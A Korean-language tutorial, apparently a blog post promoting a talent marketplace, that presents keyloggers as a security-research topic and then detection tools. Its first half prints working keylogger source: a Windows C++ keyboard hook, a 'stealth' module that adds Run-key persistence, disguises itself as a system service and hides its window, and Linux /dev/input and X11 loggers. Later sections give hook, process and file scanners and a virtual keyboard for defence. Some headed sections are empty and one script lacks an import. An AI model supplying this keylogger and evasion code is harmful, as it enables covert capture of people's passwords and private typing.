🎯 키로거, 왜 알아야 할까?

안녕! 오늘은 좀 민감하지만 정말 중요한 주제를 다뤄볼 거야. 바로 '키로거(Keylogger)'에 대한 이야기인데, 혹시 이 단어 들어봤어? 😊

키로거는 사용자가 키보드로 입력하는 모든 내용을 몰래 기록하는 프로그램이야. "와, 그거 완전 해킹 도구 아니야?"라고 생각할 수 있는데, 맞아! 하지만 동시에 보안 연구자들에게는 필수적인 학습 도구이기도 해. 🔍

왜냐하면 공격을 막으려면 공격 방법을 정확히 알아야 하거든. 의사가 질병을 치료하려면 병원균을 연구해야 하는 것처럼 말이야. 보안 전문가들은 키로거의 작동 원리를 이해함으로써 더 강력한 방어 시스템을 만들 수 있어.

🔬 키로거의 종류와 작동 방식

키로거는 크게 두 가지 종류로 나눌 수 있어. 각각의 특징을 살펴보자! 🧐

1️⃣ 하드웨어 키로거

2️⃣ 소프트웨어 키로거

🪟 Windows API 기반 C++ 키로거

Python은 간단하지만, 진짜 강력한 키로거는 C++로 만들어져. Windows API를 직접 사용하면 훨씬 더 깊은 수준에서 시스템을 제어할 수 있거든. 🚀

⚙️ SetWindowsHookEx를 사용한 키로거

#include <windows.h>
#include <iostream>
#include <fstream>
#include <ctime>

// 전역 변수
HHOOK hKeyboardHook;
std::ofstream logFile;

// 현재 시간을 문자열로 반환
std::string GetCurrentTime() {
    time_t now = time(0);
    char buffer[80];
    struct tm timeinfo;
    localtime_s(&timeinfo, &now);
    strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &timeinfo);
    return std::string(buffer);
}

// 키보드 후킹 콜백 함수
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0 && wParam == WM_KEYDOWN) {
        KBDLLHOOKSTRUCT* pKeyboard = (KBDLLHOOKSTRUCT*)lParam;
        DWORD vkCode = pKeyboard->vkCode;
        
        // 키 코드를 문자로 변환
        char key[16] = {0};
        BYTE keyboardState[256];
        GetKeyboardState(keyboardState);
        
        // 가상 키 코드를 실제 문자로 변환
        UINT scanCode = MapVirtualKey(vkCode, MAPVK_VK_TO_VSC);
        HKL keyboardLayout = GetKeyboardLayout(0);
        
        int result = ToAsciiEx(vkCode, scanCode, keyboardState, 
                               (LPWORD)key, 0, keyboardLayout);
        
        if (result > 0) {
            logFile << "[" << GetCurrentTime() << "] Key: " << key << std::endl;
        } else {
            // 특수 키 처리
            std::string specialKey;
            switch (vkCode) {
                case VK_RETURN: specialKey = "[ENTER]"; break;
                case VK_BACK: specialKey = "[BACKSPACE]"; break;
                case VK_TAB: specialKey = "[TAB]"; break;
                case VK_SHIFT: specialKey = "[SHIFT]"; break;
                case VK_CONTROL: specialKey = "[CTRL]"; break;
                case VK_MENU: specialKey = "[ALT]"; break;
                case VK_CAPITAL: specialKey = "[CAPS LOCK]"; break;
                case VK_ESCAPE: specialKey = "[ESC]"; break;
                case VK_SPACE: specialKey = "[SPACE]"; break;
                case VK_DELETE: specialKey = "[DELETE]"; break;
                default: specialKey = "[UNKNOWN]"; break;
            }
            logFile << "[" << GetCurrentTime() << "] " << specialKey << std::endl;
        }
        
        logFile.flush();  // 즉시 파일에 쓰기
    }
    
    return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

// 후킹 설정
void SetHook() {
    hKeyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        KeyboardProc,
        GetModuleHandle(NULL),
        0
    );
    
    if (hKeyboardHook == NULL) {
        std::cerr << "Failed to install hook!" << std::endl;
        exit(1);
    }
}

// 후킹 해제
void ReleaseHook() {
    UnhookWindowsHookEx(hKeyboardHook);
}

// 숨김 모드로 실행
void HideConsole() {
    HWND hwnd = GetConsoleWindow();
    ShowWindow(hwnd, SW_HIDE);
}

int main() {
    // 콘솔 창 숨기기 (실제 사용 시)
    // HideConsole();
    
    // 로그 파일 열기
    logFile.open("keylog.txt", std::ios::app);
    if (!logFile.is_open()) {
        std::cerr << "Failed to open log file!" << std::endl;
        return 1;
    }
    
    logFile << "\n=== Keylogger Started at " << GetCurrentTime() << " ===\n" << std::endl;
    
    // 후킹 설정
    SetHook();
    
    // 메시지 루프
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    
    // 정리
    ReleaseHook();
    logFile.close();
    
    return 0;
}

🔐 스텔스 기능 추가

보안 연구를 위해서는 탐지를 회피하는 기술도 이해해야 해. 다음은 프로세스를 숨기고 자동 시작하는 기능을 추가한 코드야.

#include <windows.h>
#include <string>

// 레지스트리에 자동 시작 등록
bool AddToStartup(const std::string& appName, const std::string& appPath) {
    HKEY hKey;
    const char* regPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
    
    LONG result = RegOpenKeyEx(
        HKEY_CURRENT_USER,
        regPath,
        0,
        KEY_SET_VALUE,
        &hKey
    );
    
    if (result == ERROR_SUCCESS) {
        result = RegSetValueEx(
            hKey,
            appName.c_str(),
            0,
            REG_SZ,
            (BYTE*)appPath.c_str(),
            appPath.length() + 1
        );
        
        RegCloseKey(hKey);
        return (result == ERROR_SUCCESS);
    }
    
    return false;
}

// 프로세스 이름 변경
void MasqueradeProcess() {
    // 프로세스 이름을 시스템 프로세스처럼 보이게 변경
    SetConsoleTitle("System Service Host");
}

// 작업 관리자에서 숨기기 (고급 기법)
void HideFromTaskManager() {
    HWND hwnd = GetConsoleWindow();
    ShowWindow(hwnd, SW_HIDE);
    
    // 프로세스 우선순위를 낮춰서 눈에 띄지 않게
    SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
}

// 뮤텍스를 사용한 중복 실행 방지
bool CheckSingleInstance() {
    HANDLE hMutex = CreateMutex(NULL, TRUE, "Global\\MyKeyloggerMutex");
    if (GetLastError() == ERROR_ALREADY_EXISTS) {
        CloseHandle(hMutex);
        return false;  // 이미 실행 중
    }
    return true;  // 첫 실행
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
                   LPSTR lpCmdLine, int nCmdShow) {
    // 중복 실행 체크
    if (!CheckSingleInstance()) {
        return 0;
    }
    
    // 프로세스 위장
    MasqueradeProcess();
    HideFromTaskManager();
    
    // 자동 시작 등록
    char exePath[MAX_PATH];
    GetModuleFileName(NULL, exePath, MAX_PATH);
    AddToStartup("SystemService", exePath);
    
    // 여기에 키로거 메인 로직 추가
    // ...
    
    return 0;
}

🐧 Linux 환경에서의 키로거

Linux는 Windows와 다른 방식으로 작동해. /dev/input 장치를 직접 읽거나 X11 서버를 후킹하는 방법을 사용하지. 🐧

📁 /dev/input 기반 키로거

#!/usr/bin/env python3
import struct
import sys
from pathlib import Path

# 키 코드 매핑 (일부만 표시)
KEY_CODES = {
    1: 'ESC', 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7', 9: '8', 10: '9', 11: '0',
    16: 'Q', 17: 'W', 18: 'E', 19: 'R', 20: 'T', 21: 'Y', 22: 'U', 23: 'I', 24: 'O', 25: 'P',
    30: 'A', 31: 'S', 32: 'D', 33: 'F', 34: 'G', 35: 'H', 36: 'J', 37: 'K', 38: 'L',
    44: 'Z', 45: 'X', 46: 'C', 47: 'V', 48: 'B', 49: 'N', 50: 'M',
    28: 'ENTER', 57: 'SPACE', 14: 'BACKSPACE'
}

def find_keyboard_device():
    """키보드 장치 파일 찾기"""
    input_devices = Path('/dev/input').glob('event*')
    
    for device in input_devices:
        try:
            with open(device, 'rb') as f:
                # 장치 이름 확인 (간단한 방법)
                print(f"Found device: {device}")
                return str(device)
        except PermissionError:
            continue
    
    return None

def read_keyboard_events(device_path, log_file='keylog.txt'):
    """키보드 이벤트 읽기"""
    # 이벤트 구조체 형식: long, long, unsigned short, unsigned short, unsigned int
    EVENT_FORMAT = 'llHHI'
    EVENT_SIZE = struct.calcsize(EVENT_FORMAT)
    
    with open(device_path, 'rb') as device:
        with open(log_file, 'a') as log:
            log.write("\n=== Keylogger Started ===\n\n")
            
            while True:
                event = device.read(EVENT_SIZE)
                if event:
                    (tv_sec, tv_usec, type, code, value) = struct.unpack(EVENT_FORMAT, event)
                    
                    # type 1은 키 이벤트, value 1은 키 다운
                    if type == 1 and value == 1:
                        key = KEY_CODES.get(code, f'UNKNOWN({code})')
                        print(f"Key pressed: {key}")
                        log.write(f"{key} ")
                        log.flush()

if __name__ == '__main__':
    if os.geteuid() != 0:
        print("This script requires root privileges!")
        print("Run with: sudo python3 keylogger.py")
        sys.exit(1)
    
    device = find_keyboard_device()
    if device:
        print(f"Monitoring keyboard: {device}")
        read_keyboard_events(device)
    else:
        print("No keyboard device found!")

🖥️ X11 기반 키로거

#!/usr/bin/env python3
from Xlib import display, X
from Xlib.ext import record
from Xlib.protocol import rq

class X11Keylogger:
    def __init__(self, log_file='keylog.txt'):
        self.log_file = log_file
        self.local_display = display.Display()
        self.record_display = display.Display()
        
    def key_event_handler(self, reply):
        """키 이벤트 처리"""
        if reply.category != record.FromServer:
            return
        if reply.client_swapped:
            return
        
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(
                data, self.record_display.display, None, None
            )
            
            if event.type == X.KeyPress:
                keysym = self.local_display.keycode_to_keysym(event.detail, 0)
                char = self.local_display.lookup_string(keysym)
                
                if char:
                    with open(self.log_file, 'a') as f:
                        f.write(char)
                        f.flush()
                    print(char, end='', flush=True)
    
    def start(self):
        """키로거 시작"""
        ctx = self.record_display.record_create_context(
            0,
            [record.AllClients],
            [{
                'core_requests': (0, 0),
                'core_replies': (0, 0),
                'ext_requests': (0, 0, 0, 0),
                'ext_replies': (0, 0, 0, 0),
                'delivered_events': (0, 0),
                'device_events': (X.KeyPress, X.KeyRelease),
                'errors': (0, 0),
                'client_started': False,
                'client_died': False,
            }]
        )
        
        self.record_display.record_enable_context(ctx, self.key_event_handler)
        self.record_display.record_free_context(ctx)

if __name__ == '__main__':
    keylogger = X11Keylogger()
    print("X11 Keylogger started. Press Ctrl+C to stop.")
    try:
        keylogger.start()
    except KeyboardInterrupt:
        print("\nKeylogger stopped.")

🔍 키로거 탐지 기법

이제 공격을 막는 방법을 알아볼 차례야! 보안 전문가들이 사용하는 탐지 기법들을 소개할게. 😎

1️⃣ 프로세스 분석

2️⃣ 후킹 탐지

키로거는 대부분 후킹 기술을 사용하니까, 후킹을 탐지하면 키로거를 찾을 수 있어. 다음은 Windows에서 후킹을 탐지하는 Python 코드야.

import ctypes
from ctypes import wintypes

# Windows API 함수 정의
user32 = ctypes.WinDLL('user32', use_last_error=True)

def detect_keyboard_hooks():
    """키보드 후킹 탐지"""
    hooks_found = []
    
    # WH_KEYBOARD_LL (13) 후킹 체크
    hook_type = 13  # WH_KEYBOARD_LL
    
    # GetWindowsHookEx는 직접 조회가 안 되므로
    # 다른 방법으로 후킹 탐지
    
    # 방법 1: 프로세스의 DLL 로드 확인
    import psutil
    
    for proc in psutil.process_iter(['pid', 'name', 'exe']):
        try:
            # 의심스러운 DLL 로드 확인
            for dll in proc.memory_maps():
                if 'hook' in dll.path.lower() or 'keylog' in dll.path.lower():
                    hooks_found.append({
                        'process': proc.info['name'],
                        'pid': proc.info['pid'],
                        'dll': dll.path
                    })
        except (psutil.NoSuchProcess, psutil.AccessDenied):
            continue
    
    return hooks_found

def check_suspicious_processes():
    """의심스러운 프로세스 체크"""
    import psutil
    suspicious = []
    
    for proc in psutil.process_iter(['pid', 'name', 'exe', 'connections']):
        try:
            # 네트워크 연결이 있는 백그라운드 프로세스
            if proc.info['connections']:
                # 시스템 경로가 아닌 곳에서 실행
                if proc.info['exe'] and 'system32' not in proc.info['exe'].lower():
                    suspicious.append({
                        'name': proc.info['name'],
                        'pid': proc.info['pid'],
                        'exe': proc.info['exe'],
                        'connections': len(proc.info['connections'])
                    })
        except (psutil.NoSuchProcess, psutil.AccessDenied):
            continue
    
    return suspicious

if __name__ == '__main__':
    print("🔍 Scanning for keyboard hooks...")
    hooks = detect_keyboard_hooks()
    
    if hooks:
        print(f"\n⚠️ Found {len(hooks)} suspicious hooks:")
        for hook in hooks:
            print(f"  - Process: {hook['process']} (PID: {hook['pid']})")
            print(f"    DLL: {hook['dll']}")
    else:
        print("✅ No suspicious hooks detected")
    
    print("\n🔍 Scanning for suspicious processes...")
    suspicious = check_suspicious_processes()
    
    if suspicious:
        print(f"\n⚠️ Found {len(suspicious)} suspicious processes:")
        for proc in suspicious:
            print(f"  - {proc['name']} (PID: {proc['pid']})")
            print(f"    Path: {proc['exe']}")
            print(f"    Network connections: {proc['connections']}")
    else:
        print("✅ No suspicious processes detected")

3️⃣ 네트워크 트래픽 분석

4️⃣ 파일 시스템 모니터링

import os
import hashlib
import time
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

class KeyloggerDetector(FileSystemEventHandler):
    """파일 시스템 변경 감지"""
    
    def __init__(self):
        self.suspicious_extensions = ['.log', '.txt', '.dat']
        self.suspicious_names = ['keylog', 'key_log', 'keys', 'passwords']
        
    def on_created(self, event):
        """새 파일 생성 감지"""
        if event.is_directory:
            return
        
        file_path = event.src_path
        file_name = os.path.basename(file_path).lower()
        
        # 의심스러운 파일명 체크
        for name in self.suspicious_names:
            if name in file_name:
                print(f"⚠️ Suspicious file created: {file_path}")
                self.analyze_file(file_path)
                
    def on_modified(self, event):
        """파일 수정 감지"""
        if event.is_directory:
            return
        
        file_path = event.src_path
        
        # 빠르게 증가하는 파일 크기 체크
        try:
            size = os.path.getsize(file_path)
            if size > 1024 * 1024:  # 1MB 이상
                print(f"⚠️ Large file detected: {file_path} ({size} bytes)")
        except:
            pass
    
    def analyze_file(self, file_path):
        """파일 내용 분석"""
        try:
            with open(file_path, 'rb') as f:
                content = f.read(1024)  # 첫 1KB만 읽기
                
                # 키로그 패턴 찾기
                patterns = [b'Key:', b'[ENTER]', b'[BACKSPACE]', b'password']
                for pattern in patterns:
                    if pattern in content:
                        print(f"🚨 KEYLOGGER PATTERN FOUND in {file_path}")
                        print(f"   Pattern: {pattern}")
                        break
        except:
            pass

def monitor_filesystem(path='.'):
    """파일 시스템 모니터링 시작"""
    event_handler = KeyloggerDetector()
    observer = Observer()
    observer.schedule(event_handler, path, recursive=True)
    observer.start()
    
    print(f"🔍 Monitoring filesystem: {path}")
    print("Press Ctrl+C to stop")
    
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        observer.stop()
    
    observer.join()

if __name__ == '__main__':
    monitor_filesystem()

🛡️ 안티 키로거 솔루션 개발

이제 직접 안티 키로거를 만들어볼 거야! 키로거를 탐지하고 차단하는 프로그램을 개발해보자. 🚀

🔐 가상 키보드 구현

가장 효과적인 방어 방법 중 하나는 가상 키보드를 사용하는 거야. 물리적 키보드 대신 마우스로 클릭해서 입력하면 키로거가 감지할 수 없거든!

import tkinter as tk
from tkinter import ttk
import pyperclip

class VirtualKeyboard:
    def __init__(self):
        self.root = tk.Tk()
        self.root.title("🔐 Virtual Keyboard - Anti-Keylogger")
        self.root.geometry("800x400")
        self.root.configure(bg='#2c3e50')
        
        self.input_text = ""
        self.shift_pressed = False
        
        self.setup_ui()
        
    def setup_ui(self):
        """UI 설정"""
        # 입력 표시 영역
        self.display_frame = tk.Frame(self.root, bg='#34495e', height=80)
        self.display_frame.pack(fill=tk.X, padx=10, pady=10)
        
        self.display_label = tk.Label(
            self.display_frame,
            text="",
            font=('Arial', 16),
            bg='#ecf0f1',
            fg='#2c3e50',
            anchor='w',
            padx=10
        )
        self.display_label.pack(fill=tk.BOTH, expand=True, padx=5, pady=5)
        
        # 키보드 레이아웃
        self.keyboard_frame = tk.Frame(self.root, bg='#2c3e50')
        self.keyboard_frame.pack(fill=tk.BOTH, expand=True, padx=10, pady=10)
        
        # 키 레이아웃 정의
        keys = [
            ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'Backspace'],
            ['Q', 'W', 'E', 'R', 'T', 'Y', 'U', 'I', 'O', 'P'],
            ['A', 'S', 'D', 'F', 'G', 'H', 'J', 'K', 'L'],
            ['Shift', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'Clear'],
            ['Space', 'Copy', 'Close']
        ]
        
        for row_idx, row in enumerate(keys):
            row_frame = tk.Frame(self.keyboard_frame, bg='#2c3e50')
            row_frame.pack(pady=5)
            
            for key in row:
                if key == 'Space':
                    width = 30
                elif key in ['Backspace', 'Shift', 'Clear', 'Copy', 'Close']:
                    width = 12
                else:
                    width = 6
                
                btn = tk.Button(
                    row_frame,
                    text=key,
                    width=width,
                    height=2,
                    font=('Arial', 12, 'bold'),
                    bg='#3498db',
                    fg='white',
                    activebackground='#2980b9',
                    relief=tk.RAISED,
                    command=lambda k=key: self.key_pressed(k)
                )
                btn.pack(side=tk.LEFT, padx=3)
    
    def key_pressed(self, key):
        """키 클릭 처리"""
        if key == 'Backspace':
            self.input_text = self.input_text[:-1]
        elif key == 'Clear':
            self.input_text = ""
        elif key == 'Space':
            self.input_text += " "
        elif key == 'Shift':
            self.shift_pressed = not self.shift_pressed
            return
        elif key == 'Copy':
            pyperclip.copy(self.input_text)
            self.show_message("Copied to clipboard! ✓")
            return
        elif key == 'Close':
            self.root.destroy()
            return
        else:
            if self.shift_pressed:
                self.input_text += key.upper()
                self.shift_pressed = False
            else:
                self.input_text += key.lower()
        
        self.update_display()
    
    def update_display(self):
        """디스플레이 업데이트"""
        # 보안을 위해 마스킹 옵션
        display_text = self.input_text
        # display_text = '*' * len(self.input_text)  # 마스킹하려면 이 줄 사용
        
        self.display_label.config(text=display_text)
    
    def show_message(self, message):
        """임시 메시지 표시"""
        original_text = self.display_label.cget('text')
        self.display_label.config(text=message, fg='#27ae60')
        self.root.after(2000, lambda: self.display_label.config(
            text=original_text, fg='#2c3e50'
        ))
    
    def run(self):
        """프로그램 실행"""
        self.root.mainloop()

if __name__ == '__main__':
    keyboard = VirtualKeyboard()
    keyboard.run()

🚨 실시간 키로거 탐지 시스템

import psutil
import time
import threading
from collections import defaultdict
import win32api
import win32process
import win32con

class RealtimeKeyloggerDetector:
    def __init__(self):
        self.suspicious_processes = set()
        self.process_stats = defaultdict(dict)
        self.monitoring = True
        
    def check_process_behavior(self, proc):
        """프로세스 행동 분석"""
        try:
            pid = proc.pid
            name = proc.name()
            
            # CPU 사용률 체크
            cpu_percent = proc.cpu_percent(interval=0.1)
            
            # 메모리 사용량
            mem_info = proc.memory_info()
            mem_mb = mem_info.rss / 1024 / 1024
            
            # 네트워크 연결
            connections = proc.connections()
            
            # 열린 파일
            try:
                open_files = proc.open_files()
            except:
                open_files = []
            
            # 의심스러운 패턴 체크
            suspicion_score = 0
            reasons = []
            
            # 1. 낮은 CPU 사용률 + 네트워크 연결 (백그라운드 전송)
            if cpu_percent < 5 and len(connections) > 0:
                suspicion_score += 2
                reasons.append("Low CPU with network activity")
            
            # 2. 시스템 폴더가 아닌 곳에서 실행
            try:
                exe_path = proc.exe().lower()
                if 'system32' not in exe_path and 'program files' not in exe_path:
                    suspicion_score += 1
                    reasons.append("Non-system location")
            except:
                pass
            
            # 3. 로그 파일 쓰기
            for f in open_files:
                if any(ext in f.path.lower() for ext in ['.log', '.txt', '.dat']):
                    if any(word in f.path.lower() for word in ['key', 'log', 'pass']):
                        suspicion_score += 3
                        reasons.append(f"Suspicious file: {f.path}")
            
            # 4. 숨겨진 창 (GUI 프로그램인데 창이 없음)
            try:
                import win32gui
                def enum_windows_callback(hwnd, pid_list):
                    if win32process.GetWindowThreadProcessId(hwnd)[1] == pid:
                        pid_list.append(hwnd)
                
                windows = []
                win32gui.EnumWindows(enum_windows_callback, windows)
                
                if len(windows) == 0 and name.endswith('.exe'):
                    suspicion_score += 2
                    reasons.append("Hidden window")
            except:
                pass
            
            if suspicion_score >= 3:
                return {
                    'pid': pid,
                    'name': name,
                    'score': suspicion_score,
                    'reasons': reasons,
                    'cpu': cpu_percent,
                    'memory': mem_mb,
                    'connections': len(connections)
                }
            
        except (psutil.NoSuchProcess, psutil.AccessDenied):
            pass
        
        return None
    
    def scan_processes(self):
        """모든 프로세스 스캔"""
        suspicious = []
        
        for proc in psutil.process_iter():
            result = self.check_process_behavior(proc)
            if result:
                suspicious.append(result)
        
        return suspicious
    
    def monitor_loop(self):
        """모니터링 루프"""
        print("🔍 Real-time Keylogger Detection Started")
        print("=" * 60)
        
        while self.monitoring:
            suspicious = self.scan_processes()
            
            if suspicious:
                print(f"\n⚠️ [{time.strftime('%H:%M:%S')}] Found {len(suspicious)} suspicious processes:")
                for proc in suspicious:
                    print(f"\n🚨 {proc['name']} (PID: {proc['pid']})")
                    print(f"   Suspicion Score: {proc['score']}/10")
                    print(f"   CPU: {proc['cpu']:.1f}% | Memory: {proc['memory']:.1f}MB")
                    print(f"   Network Connections: {proc['connections']}")
                    print(f"   Reasons:")
                    for reason in proc['reasons']:
                        print(f"     - {reason}")
            
            time.sleep(10)  # 10초마다 스캔
    
    def start(self):
        """탐지 시작"""
        monitor_thread = threading.Thread(target=self.monitor_loop, daemon=True)
        monitor_thread.start()
        
        try:
            while True:
                time.sleep(1)
        except KeyboardInterrupt:
            print("\n\n🛑 Monitoring stopped")
            self.monitoring = False

if __name__ == '__main__':
    detector = RealtimeKeyloggerDetector()
    detector.start()

🎓 보안 연구자를 위한 실전 팁

자, 이제 실제로 보안 연구를 할 때 알아두면 좋은 팁들을 공유할게! 이건 내가 여러 보안 전문가들과 교류하면서 배운 실전 노하우야. 😊

🔬 안전한 테스트 환경 구축

📚 법적 고려사항

🛠️ 유용한 도구들

💼 재능넷에서 보안 스킬 공유하기

혹시 보안 분야에 관심이 많다면, 재능넷(https://www.jaenung.net)에서 자신의 지식을 공유하거나 다른 전문가들과 교류할 수 있어! 보안 컨설팅, 코드 리뷰, 교육 등 다양한 형태로 재능을 거래할 수 있거든. 나도 가끔 재능넷에서 보안 관련 질문에 답변하면서 많이 배우고 있어. 🤝

🔮 미래의 키로거와 방어 기술

기술은 계속 발전하고 있어. 미래에는 어떤 형태의 키로거가 나올까? 그리고 우리는 어떻게 대비해야 할까? 🚀

🤖 AI 기반 키로거

🔐 하드웨어 기반 보안

🌐 제로 트러스트 아키텍처

미래의 보안 패러다임은 '제로 트러스트(Zero Trust)'야. 아무것도 신뢰하지 않고 모든 것을 검증하는 거지. 키 입력 하나하나도 검증하고, 모든 프로세스의 행동을 실시간으로 분석해. 이렇게 되면 키로거가 설치되더라도 데이터를 빼내기가 훨씬 어려워질 거야. 🛡️

# 미래형 보안 시스템 개념 코드
class ZeroTrustInputMonitor:
    """제로 트러스트 기반 입력 모니터링"""
    
    def __init__(self):
        self.ml_model = self.load_behavior_model()
        self.trusted_processes = set()
        self.encryption_key = self.generate_session_key()
        
    def monitor_input(self, input_event):
        """입력 이벤트 모니터링"""
        # 1. 입력 즉시 암호화
        encrypted_input = self.encrypt_input(input_event)
        
        # 2. 요청 프로세스 검증
        requesting_process = self.get_requesting_process()
        if not self.verify_process(requesting_process):
            self.block_and_alert(requesting_process)
            return None
        
        # 3. 행동 패턴 분석
        behavior_score = self.ml_model.analyze(requesting_process)
        if behavior_score < self.TRUST_THRESHOLD:
            self.quarantine_process(requesting_process)
            return None
        
        # 4. 복호화 및 전달 (신뢰된 프로세스에만)
        return self.decrypt_for_trusted(encrypted_input, requesting_process)
    
    def verify_process(self, process):
        """프로세스 검증"""
        # 디지털 서명 확인
        if not self.check_digital_signature(process):
            return False
        
        # 실행 경로 검증
        if not self.verify_execution_path(process):
            return False
        
        # 네트워크 활동 검증
        if self.has_suspicious_network_activity(process):
            return False
        
        return True